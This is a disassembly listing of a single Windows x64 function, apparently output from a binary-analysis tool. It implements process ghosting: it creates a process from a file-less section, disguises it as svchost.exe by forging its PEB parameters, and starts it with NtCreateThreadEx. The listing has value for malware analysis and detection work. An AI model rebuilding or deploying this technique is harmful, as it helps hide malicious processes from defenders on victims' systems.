Function at 0x140002fb0
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
jmp 0x140003cb0
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x998
mov rbx, rdx
mov r15, rcx
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0x990], rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x14000340e
mov r13, rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x140003417
mov r14, rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x140003420
mov rsi, rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x140003429
mov rdi, rax
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140003432
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x60], rsi
lea rcx, [0x14003ff64]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x14000343b
mov rbp, rax
lea rsi, [rsp + 0x750]
mov r8d, 0x208
mov rcx, rsi
xor edx, edx
call fcn.140010db0
movabs rax, 0x5c003f003f005c
mov qword [rsp + 0x750], rax
lea r12, [rsp + 0x540]
mov r8d, 0x208
mov rcx, r12
xor edx, edx
call fcn.140010db0
lea rdi, [rsp + 0x330]
mov r8d, 0x208
mov rcx, rdi
xor edx, edx
call fcn.140010db0
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.DLL_GetTempPathW]
lea rdx, [0x140040c2e]
mov rcx, rdi
xor r8d, r8d
mov r9, r12
call qword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
mov rcx, rsi
mov rdx, r12
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov rcx, rsi
mov rdx, r15
mov r8, rbx
call fcn.140002b00
cmp rax, 0xffffffffffffffff
je 0x140003444
mov rcx, rax
call fcn.140002dc0
cmp rax, 0xffffffffffffffff
je 0x14000344d
mov r12, rax
lea rcx, str.____Successfully_Created_Process_From_File_less_Section..._n
call fcn.140001220
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x960]
mov rcx, r12
xor edx, edx
mov r9d, 0x30
call r13
test eax, eax
jne 0x140003456
movups xmm0, xmmword [rsp + 0x960]
movups xmm1, xmmword [rsp + 0x970]
movups xmm2, xmmword [rsp + 0x980]
movaps xmmword [rsp + 0x320], xmm2
movaps xmmword [rsp + 0x310], xmm1
movaps xmmword [rsp + 0x300], xmm0
lea r8, [rsp + 0x300]
mov rcx, r12
mov rdx, r15
call fcn.140002e80
mov rbx, rax
lea rdx, str.C:windows_system32_svchost.exe
lea rsi, [rsp + 0xf0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea rdi, [rsp + 0xa8]
mov rcx, rdi
mov rdx, rsi
call r14
movaps xmm0, xmmword [0x1400373d0]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [str.C:WindowsSystem32]
movaps xmmword [rsp + 0xc0], xmm0
movabs rax, 0x320033006d
mov qword [rsp + 0xe0], rax
lea rsi, [rsp + 0x88]
lea rdx, [rsp + 0xc0]
mov rcx, rsi
call r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x50], 1
mov qword [rsp + 0x48], 0
lea rcx, [rsp + 0xa0]
mov rdx, rdi
mov r8, rsi
xor r9d, r9d
call rbp
test eax, eax
jne 0x14000345f
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x80], rax
mov ecx, dword [rax]
add ecx, dword [rax + 0x3f0]
mov qword [rsp + 0x78], rcx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x80]
lea r9, [rsp + 0x78]
mov rcx, r12
xor r8d, r8d
call qword [rsp + 0x70]
test eax, eax
jne 0x140003468
mov rdx, qword [rsp + 0x80]
lea rcx, str.___Allocated_Memory_For_Parameters__p_n
call fcn.140001450
mov rdx, qword [rsp + 0xa0]
mov r9d, dword [rdx]
add r9d, dword [rdx + 0x3f0]
mov qword [rsp + 0x20], 0
mov rcx, r12
mov r8, rdx
call qword [rsp + 0x68]
mov rdx, qword [rsp + 0x968]
add rdx, 0x20
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0xa0]
mov r9d, 8
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x140003471
lea rcx, str.___Updated_Remote_Process_Parameters_Address_at_PEB
call fcn.14001ec00
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x98]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, r12
call qword [rsp + 0x60]
test eax, eax
jne 0x140003487
lea rcx, str.___Thread_Executed...
call fcn.14001ec00
mov rcx, qword [rsp + 0x990]
xor rcx, rsp
call fcn.140009f90
mov eax, 1
add rsp, 0x998
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.____Error_NtQueryInformationProcess_API_not_found_n
jmp 0x140003478
lea rcx, str.____Error_RtlInitUnicodeString_API_not_found_n
jmp 0x140003478
lea rcx, str.____Error_NtCreateThreadEx_API_not_found_n
jmp 0x140003478
lea rcx, str.____Error_NtWriteVirtualMemory_API_not_found_n
jmp 0x140003478
lea rcx, str.____Unable_To_Found_API_NtAllocateVirtualMemory...
jmp 0x140003478
lea rcx, str.____Unable_To_Found_API_RtlCreateProcessParametersEx...
jmp 0x140003478
lea rcx, str.____Invalid_Section..._n
jmp 0x140003478
lea rcx, str.____Invalid_Process_Handle..._n
jmp 0x140003478
lea rcx, str.____Error_Getting_Process_Infromation___n
jmp 0x140003478
lea rcx, str.____Unable_To_Create_Process_Parameters..._n
jmp 0x140003478
lea rcx, str.____Unable_To_Allocate_Memory_For_Process_Parameters..._n
jmp 0x140003478
lea rcx, str.____Error_Updating_Process_Parameters___n
call fcn.14001ea38
mov ecx, 0xffffffff
call fcn.140018328
mov esi, eax
lea rcx, [0x14004c680]
lea rdx, str.____Error_Creating_Thread:
call fcn.1400034e0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, esi
call fcn.1400038e0
mov rcx, rax
call fcn.140003be0
mov ecx, 0xffffffff
call fcn.140018328
int3
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [0x14004b3b8]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x28]
call fcn.140002a00
mov rsi, rax
mov rdi, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140009f90
mov rcx, rsi
mov rdx, rdi
add rsp, 0x38
pop rdi
pop rsi
jmp 0x140002fb0